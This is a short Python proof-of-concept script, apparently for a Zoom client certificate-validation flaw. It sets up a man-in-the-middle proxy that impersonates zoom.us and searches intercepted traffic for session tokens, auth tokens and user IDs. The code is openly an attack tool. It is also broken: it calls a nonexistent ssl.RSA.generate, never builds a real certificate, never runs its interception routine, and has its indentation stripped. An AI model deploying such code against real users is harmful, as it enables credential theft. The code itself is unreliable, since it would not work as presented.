# CVE-2025-30669 PoC - Improper Certificate Validation in Zoom Client
# This PoC demonstrates a MITM attack scenario exploiting improper certificate validation
import ssl
import socket
import subprocess
from mitmproxy import proxy, options
from mitmproxy.proxy.server import ProxyServer
class ZoomCertificateInterceptor:
def __init__(self):
self.target_host = "zoom.us"
self.target_port = 443
def create_fake_certificate(self):
"""
Generate a self-signed certificate for MITM attack
In vulnerable Zoom clients, this certificate may be accepted
"""
# Generate RSA key pair
key = ssl.RSA.generate(2048)
# Create self-signed certificate mimicking zoom.us
# Note: This is for educational purposes only
cert_params = {
'country_name': 'US',
'state_or_province_name': 'California',
'locality_name': 'San Jose',
'organization_name': 'Zoom Video Communications',
'common_name': 'zoom.us',
'email_address': '
[email protected]'
}
return key, cert_params
def intercept_traffic(self, client_socket, server_host, server_port):
"""
Perform MITM interception by accepting invalid certificates
Vulnerable Zoom clients may accept this connection
"""
try:
# Create connection to legitimate server
server_socket = socket.create_connection(
(server_host, server_port),
timeout=10
)
# In vulnerable versions, Zoom may accept our certificate
# allowing us to decrypt and inspect traffic
encrypted_data = client_socket.recv(4096)
# Forward to legitimate server
server_socket.sendall(encrypted_data)
# Receive response and log sensitive data
response = server_socket.recv(4096)
# Log potential sensitive information
self.log_sensitive_data(response)
return response
except Exception as e:
print(f"[!] Interception failed: {e}")
return None
def log_sensitive_data(self, data):
"""Extract and log potentially sensitive information"""
# Look for session tokens, API keys, or user data
sensitive_patterns = [
b'xmpp_session',
b'auth_token',
b'session_key',
b'user_id'
]
for pattern in sensitive_patterns:
if pattern in data:
print(f"[!] Found sensitive data: {pattern}")
def start_proxy():
"""Start MITM proxy server"""
opts = options.Options(listen_host='0.0.0.0', listen_port=8080)
config = proxy.ProxyConfig(opts)
server = ProxyServer(config)
print("[*] MITM Proxy started on port 8080")
print("[*] Configure vulnerable Zoom client to use this proxy")
return server
if __name__ == "__main__":
print("CVE-2025-30669 PoC - Zoom Certificate Validation Issue")
print("=" * 60)
print("Warning: This code is for authorized security testing only")
print("=" * 60)
interceptor = ZoomCertificateInterceptor()
start_proxy()